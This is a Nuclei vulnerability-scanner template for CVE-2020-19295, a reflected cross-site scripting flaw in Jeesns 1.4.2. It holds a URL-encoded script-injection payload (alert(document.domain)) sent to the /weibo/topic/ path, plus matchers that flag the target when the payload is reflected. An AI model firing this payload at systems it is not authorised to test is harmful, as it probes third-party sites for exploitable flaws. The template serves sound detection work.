nuclei-templates/cves/2020/CVE-2020-19295.yaml

id: CVE-2020-19295

info:
  name: Jeesns Weibo Topic Reflection XSS
  author: pikpikcu
  severity: medium
  description: Reflected cross-site scripting (XSS) vulnerability in Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/21
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19295
  tags: cve,cve2020,jeesns,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2020-19295
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html